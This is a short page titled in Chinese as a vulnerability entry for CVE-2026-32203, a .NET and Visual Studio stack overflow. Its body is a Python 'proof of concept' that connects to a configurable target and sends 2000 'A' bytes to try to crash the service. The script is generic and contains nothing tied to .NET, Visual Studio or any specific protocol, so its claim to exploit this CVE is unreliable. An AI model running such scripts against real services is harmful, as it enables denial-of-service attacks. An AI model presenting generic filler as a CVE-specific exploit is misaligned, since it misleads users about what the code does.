CVE-2026-32203 .NET和Visual Studio栈溢出漏洞

# Proof of Concept for CVE-2026-32203 # This script demonstrates a potential buffer overflow scenario. # Note: Replace TARGET_IP and TARGET_PORT with actual vulnerable service endpoints. import socket TARGET_IP = "127.0.0.1" TARGET_PORT = 8080 # Construct a malicious payload (e.g., a long string of 'A's) # Adjust length based on the specific buffer size of the vulnerable component. # Assuming a buffer size of 1024 bytes for demonstration. buffer_size = 2000 payload = b"A" * buffer_size def send_exploit(): try: print(f"[*] Sending payload to {TARGET_IP}:{TARGET_PORT}...") # Create a socket connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((TARGET_IP, TARGET_PORT)) # Send the malicious payload # In a real scenario, this might be an HTTP header, a specific protocol command, etc. s.send(payload) print("[+] Payload sent successfully.") print("[+] Check if the service has crashed.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": send_exploit()